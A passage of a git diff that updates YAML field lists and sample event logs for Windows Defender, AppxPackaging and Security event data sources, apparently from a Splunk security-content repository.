+ - namespace + - numAttempts - Opcode + - PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType + - Path - ProcessID - - Provider - - ProviderGuid + - punct + - RecordNumber + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError + - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task + - TaskCategory - ThreadID - - TimeCreated - - Version - - _time - - dest - - host + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version output_fields: - _time - dest diff --git a/data_sources/windows_event_log_appxpackaging_171.yml b/data_sources/windows_event_log_appxpackaging_171.yml index 8b42fea335..64f5891b33 100644 --- a/data_sources/windows_event_log_appxpackaging_171.yml +++ b/data_sources/windows_event_log_appxpackaging_171.yml @@ -21,30 +21,117 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - CallingProcess + - CallOrigin - CategoryString - Channel - Computer + - DependencyPaths + - DeploymentOperation + - DeploymentOptions + - DestinationFolderPath + - DetailedMessageInfo + - directlyServicedPackagesList + - dvc + - dvc_nt_host + - Error + - ErrorCode + - ErrorCount + - ErrorFileInfo + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - FailedDeploymentState + - filename + - FilePath + - Flags + - FlagsHigh + - forceUpdateDeferredByPackage + - Guid + - HasFullTrust + - HasWin32alacarte + - host + - id + - index + - indirectlyServicedPackagesList + - IsCentennial + - IsInPlaceUpdate + - IsInRelatedSet + - IsOptional + - IsPackageEncrypted + - IsPackageUsingBDC + - isSessionLocked + - IsStreamingPackage - Keywords - Level + - linecount + - MainPackageFamilyName + - MainPackageFullName + - MainPackageMoniker + - Message + - MountPoint + - Name + - name + - namespace + - numAttempts - Opcode + - PackageDisplayName + - PackageFlags + - PackageFlags2 + - PackageFullName + - packageFullName + - PackageList + - PackageMoniker + - PackageName + - PackageSourceUri + - PackageType + - Path - ProcessID + - punct - RecordNumber - - SourceName - - SystemTime + - RequeueReason + - ResiliencyFilePath + - RollbackDetailedMessageInfo + - RollbackErrorFileInfo + - runningAppsList + - severity + - severity_id + - signature + - signature_id + - source + - SourceFolderPath + - sourcetype + - splunk_server + - StatusToClear + - StatusToSet + - StorageId + - String + - subject + - subjectName + - Summary + - SummaryError - System_Props_Xml + - SystemTime + - SystemVolume + - tag + - tag::eventtype + - TargetPlatform - Task - TaskCategory - ThreadID - - Version - - _time - - dest - - host - - packageFullName + - timestamp - user_id + - UserID + - UserSid + - userSid + - vendor_product + - Version references: - https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting - https://www.appdeploynews.com/packaging-types/msix/troubleshooting-an-msix-package/ diff --git a/data_sources/windows_event_log_defender_1116.yml b/data_sources/windows_event_log_defender_1116.yml index 8be3dfc440..5a4073e616 100644 --- a/data_sources/windows_event_log_defender_1116.yml +++ b/data_sources/windows_event_log_defender_1116.yml @@ -19,15 +19,19 @@ supported_TA: version: 11.0.3 fields: - _time + - action - Action_ID - Action_Name - ActivityID - Additional_Actions_ID - Additional_Actions_String + - category - Category_ID - Category_Name - Channel - Computer + - date + - dest - Detection_ID - Detection_Time - Detection_User @@ -44,11 +48,16 @@ fields: - eventtype - Execution_ID - Execution_Name + - file_name + - file_path - FWLink - Guid + - host - id + - index - Keywords - Level + - linecount - Name - Opcode - Origin_ID @@ -60,30 +69,41 @@ fields: - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - Security_intelligence_Version - severity - Severity_ID - severity_id - Severity_Name + - signature - signature_id + - source - Source_ID - Source_Name + - sourcetype - splunk_server + - src_user - State - Status_Code - System_Props_Xml - SystemTime - tag + - tag::eventtype - Task - TaskCategory - ThreadID - Threat_ID - Threat_Name + - timestamp - Type_ID - Type_Name + - url + - user - user_id - UserID - vendor_product + - vendor_severity - Version example_log: "111603000x80000000000000001799Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0111UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete09Not Applicable0x00000000The operation completed successfully. 00No additional actions requiredAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" diff --git a/data_sources/windows_event_log_defender_1117.yml b/data_sources/windows_event_log_defender_1117.yml index b7ffdd9830..3d228846bc 100644 --- a/data_sources/windows_event_log_defender_1117.yml +++ b/data_sources/windows_event_log_defender_1117.yml @@ -19,14 +19,19 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - Action_ID - Action_Name - ActivityID - Additional_Actions_ID - Additional_Actions_String + - category - Category_ID - Category_Name - Channel - Computer + - date + - dest - Detection_ID - Detection_Time - Detection_User @@ -36,7 +41,6 @@ fields: - Error_Code - Error_Description - event_id - - EventAction_ID - EventCode - EventData_Xml - EventID @@ -44,12 +48,16 @@ fields: - eventtype - Execution_ID - Execution_Name + - file_name + - file_path - FWLink - Guid - host - id + - index - Keywords - Level + - linecount - Name - Opcode - Origin_ID @@ -61,6 +69,8 @@ fields: - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - Remediation_User - Security_intelligence_Version @@ -68,26 +78,33 @@ fields: - Severity_ID - severity_id - Severity_Name + - signature - signature_id - source - Source_ID - Source_Name - sourcetype - splunk_server + - src_user - State - Status_Code - System_Props_Xml - SystemTime - tag + - tag::eventtype - Task - TaskCategory - ThreadID - Threat_ID - Threat_Name + - timestamp - Type_ID - Type_Name + - url + - user - user_id - UserID - vendor_product + - vendor_severity - Version example_log: "111704000x80000000000000001800Microsoft-Windows-Windows Defender/OperationalEC2AMAZ-FKEOM7GMicrosoft Defender Antivirus4.18.26070.9{8D3B4441-6828-4720-8030-B059CF1D35D5}2026-08-14T16:03:24.393Z2147519003Virus:DOS/EICAR_Test_File5Severe42Virushttps://go.microsoft.com/fwlink/?linkid=37020&name=Virus:DOS/EICAR_Test_File&threatid=2147519003&enterprise=0321UserUnknownEC2AMAZ-FKEOM7G\\Administratorcontainerfile:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN; file:_\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_{AA51B3A0-AA64-4D31-8BD6-ACB4EE2000E7}\\WD_SCAN\\BERLIN->eicar.com2Network share0Unknown0Concrete02Quarantine0x00000000The operation completed successfully. 00No additional actions requiredEC2AMAZ-FKEOM7G\\AdministratorAV: 1.457.160.0, AS: 1.457.160.0, NIS: 1.457.160.0AM: 1.1.26070.7, NIS: 1.1.26070.7" diff --git a/data_sources/windows_event_log_defender_1121.yml b/data_sources/windows_event_log_defender_1121.yml index 9c345f89e1..3775cc0f02 100644 --- a/data_sources/windows_event_log_defender_1121.yml +++ b/data_sources/windows_event_log_defender_1121.yml @@ -20,57 +20,87 @@ supported_TA: fields: - _time - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName + - Message + - meta - Name - - New_Value - - Old_Value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - RuleType - Security_intelligence_Version - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - ThreadID - - User - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product + - Version example_log: 112103000x80000000000000002975Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.20093B576869-A4EC-4529-8536-B80A7769E8992023-11-20T16:29:48.984Zresearchvmhaa\researchC:\Users\research\AppData\Local\Temp\script.vbsC:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE1.401.912.01.1.23100.2009ENT\ConsR"C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" 0x00000000 diff --git a/data_sources/windows_event_log_defender_1122.yml b/data_sources/windows_event_log_defender_1122.yml index 2944fc6126..f928c8fb00 100644 --- a/data_sources/windows_event_log_defender_1122.yml +++ b/data_sources/windows_event_log_defender_1122.yml @@ -20,54 +20,83 @@ supported_TA: fields: - _time - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Keywords - Level + - linecount + - LogName + - Message - Name + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - punct - RecordNumber - RuleType - Security_intelligence_Version - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - ThreadID - - User - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id - - vendor_product + - UserID + - Version example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1125.yml b/data_sources/windows_event_log_defender_1125.yml index 18308e1477..c29a9e15ab 100644 --- a/data_sources/windows_event_log_defender_1125.yml +++ b/data_sources/windows_event_log_defender_1125.yml @@ -14,4 +14,92 @@ supported_TA: version: 11.0.3 fields: - _time + - ActivityID + - category + - Channel + - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - Detection_Time + - Detection_time + - dvc + - dvc_nt_host + - Engine_Version + - event_id + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - EventType + - eventtype + - file_name + - file_path + - Guid + - host + - ID + - id + - index + - Inheritance_Flags + - Inhertiance_Flags + - Involved_File + - Keywords + - Level + - linecount + - LogName + - Message + - meta + - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode + - Opcode + - Parent_Commandline + - Path + - Process_Name + - ProcessID + - Product_Name + - Product_Version + - product_version + - punct + - RecordNumber + - RuleType + - Security_intelligence_Version + - severity + - severity_id + - Sid + - SidType + - signature + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos + - timestamp + - timestartpos + - Type + - User + - user + - user_id + - UserID + - vendor_product + - Version example_log: 112204000x80000000000000003701Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009E6DB77E5-3DF2-4CF1-B95A-636979351E5B2023-11-26T23:43:08.709Z(unknown user)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1.401.1247.01.1.23100.2009ENT\ConsRC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_1126.yml b/data_sources/windows_event_log_defender_1126.yml index 43fc814187..14aa8d3766 100644 --- a/data_sources/windows_event_log_defender_1126.yml +++ b/data_sources/windows_event_log_defender_1126.yml @@ -15,88 +15,91 @@ supported_TA: fields: - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype + - Version example_log: '' diff --git a/data_sources/windows_event_log_defender_1129.yml b/data_sources/windows_event_log_defender_1129.yml index 4ba86029d7..7b9e8a81fb 100644 --- a/data_sources/windows_event_log_defender_1129.yml +++ b/data_sources/windows_event_log_defender_1129.yml @@ -19,24 +19,9 @@ supported_TA: version: 11.0.3 fields: - _time - - ComputerName - - EventCode - - EventType - - ID - - Keywords - - LogName - - Message - - OpCode - - Path - - Process_Name - - RecordNumber - - Sid - - SidType - - SourceName - - TaskCategory - - Type - - User - category + - ComputerName + - date - date_hour - date_mday - date_minute @@ -45,23 +30,39 @@ fields: - date_wday - date_year - date_zone + - dest - dvc_nt_host - event_id + - EventCode + - EventType - eventtype + - file_name + - file_path - host + - ID - id - index + - Keywords - linecount + - LogName + - Message + - OpCode + - Path + - Process_Name - punct - - severity - - severity_id + - RecordNumber + - Sid + - SidType - signature_id - source - sourcetype - splunk_server - tag - tag::eventtype + - TaskCategory - timeendpos - timestartpos - - vendor_product + - Type + - User + - user example_log: '' diff --git a/data_sources/windows_event_log_defender_1131.yml b/data_sources/windows_event_log_defender_1131.yml index e38fadd8e0..9df576972c 100644 --- a/data_sources/windows_event_log_defender_1131.yml +++ b/data_sources/windows_event_log_defender_1131.yml @@ -13,90 +13,93 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time + - Version example_log: '' diff --git a/data_sources/windows_event_log_defender_1132.yml b/data_sources/windows_event_log_defender_1132.yml index ef1a010606..52b9f719bb 100644 --- a/data_sources/windows_event_log_defender_1132.yml +++ b/data_sources/windows_event_log_defender_1132.yml @@ -13,90 +13,93 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time + - Version example_log: '' diff --git a/data_sources/windows_event_log_defender_1133.yml b/data_sources/windows_event_log_defender_1133.yml index 90d22162d6..9a8ee67b4a 100644 --- a/data_sources/windows_event_log_defender_1133.yml +++ b/data_sources/windows_event_log_defender_1133.yml @@ -13,90 +13,93 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time + - Version example_log: '' diff --git a/data_sources/windows_event_log_defender_1134.yml b/data_sources/windows_event_log_defender_1134.yml index 59d8d06984..b86c487d50 100644 --- a/data_sources/windows_event_log_defender_1134.yml +++ b/data_sources/windows_event_log_defender_1134.yml @@ -13,90 +13,93 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time - ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time + - Version example_log: '' diff --git a/data_sources/windows_event_log_defender_5007.yml b/data_sources/windows_event_log_defender_5007.yml index 034cb376ca..dc416bacf0 100644 --- a/data_sources/windows_event_log_defender_5007.yml +++ b/data_sources/windows_event_log_defender_5007.yml @@ -17,45 +17,92 @@ supported_TA: version: 11.0.3 fields: - _time + - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - Detection_Time + - Detection_time + - dvc + - dvc_nt_host + - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host + - ID + - id + - index + - Inheritance_Flags + - Inhertiance_Flags + - Involved_File - Keywords - Level + - linecount + - LogName + - Message + - meta - Name - New_Value + - New_value - Old_Value + - Old_value + - OpCode - Opcode + - Parent_Commandline + - Path + - Process_Name - ProcessID - Product_Name - Product_Version - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount + - product_version - punct + - RecordNumber + - RuleType + - Security_intelligence_Version + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product + - Version example_log: 500704000x80000000000000003726Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\48 = 0x1 diff --git a/data_sources/windows_event_log_security_1100.yml b/data_sources/windows_event_log_security_1100.yml index 5d3ccb17ab..c0cf87c78b 100644 --- a/data_sources/windows_event_log_security_1100.yml +++ b/data_sources/windows_event_log_security_1100.yml @@ -18,52 +18,41 @@ supported_TA: version: 11.0.3 fields: - _time - - Channel - - Computer - - Error_Code - - EventCode - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserData_Xml - - Version - action - app - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber - service - service_name + - severity + - severity_id - signature - signature_id - source @@ -71,13 +60,19 @@ fields: - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - UserData_Xml - vendor - vendor_product + - Version output_fields: - action - app diff --git a/data_sources/windows_event_log_security_1102.yml b/data_sources/windows_event_log_security_1102.yml index 21041873b4..893eddfc47 100644 --- a/data_sources/windows_event_log_security_1102.yml +++ b/data_sources/windows_event_log_security_1102.yml @@ -19,56 +19,43 @@ supported_TA: version: 11.0.3 fields: - _time - - Caller_User_Name - - Channel - - Computer - - Error_Code - - EventCode - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - LogFileCleared_Xml - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserData_Xml - - Version - action - app + - Caller_User_Name - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - LogFileCleared_Xml + - Name - name + - object - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber + - result + - severity + - severity_id - signature - signature_id - source @@ -77,13 +64,25 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_name + - UserData_Xml - vendor - vendor_product + - Version output_fields: - action - change_type diff --git a/data_sources/windows_event_log_security_4624.yml b/data_sources/windows_event_log_security_4624.yml index d5dbfd0c90..2e3a02a8a0 100644 --- a/data_sources/windows_event_log_security_4624.yml +++ b/data_sources/windows_event_log_security_4624.yml @@ -19,46 +19,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app + - authentication_method + - authentication_service - AuthenticationPackageName - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - ElevatedToken - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id - ImpersonationLevel + - index - IpAddress - IpPort - KeyLength - Keywords - Level + - linecount - LmPackageName + - Logon_ID + - Logon_Type - LogonGuid - LogonProcessName - LogonType - - Logon_ID - - Logon_Type - Name + - name - Opcode + - process + - process_id - ProcessID - ProcessId - ProcessName + - product + - punct - RecordNumber - RestrictedAdminMode + - session_id + - severity + - severity_id + - signature + - signature_id + - source - Source_Port - Source_Workstation + - sourcetype + - splunk_server + - src + - src_port + - status + - subject - SubjectDomainName - SubjectLogonId - SubjectUserName - SubjectUserSid - - SystemTime - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::app + - tag::eventtype + - Target_Domain + - Target_User_Name - TargetDomainName - TargetLinkedLogonId - TargetLogonId @@ -66,62 +105,18 @@ fields: - TargetOutboundUserName - TargetUserName - TargetUserSid - - Target_Domain - - Target_User_Name - Task + - TaskCategory - ThreadID + - timestamp - TransmittedServices - - Version - - VirtualAccount - - WorkstationName - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process - - process_id - - process_name - - process_path - - product - - punct - - session_id - - signature - - signature_id - - source - - sourcetype - - splunk_server - - src_ip - - src_port - - status - - subject - - ta_windows_action - - tag - - tag::action - - tag::app - - tag::eventtype - - timeendpos - 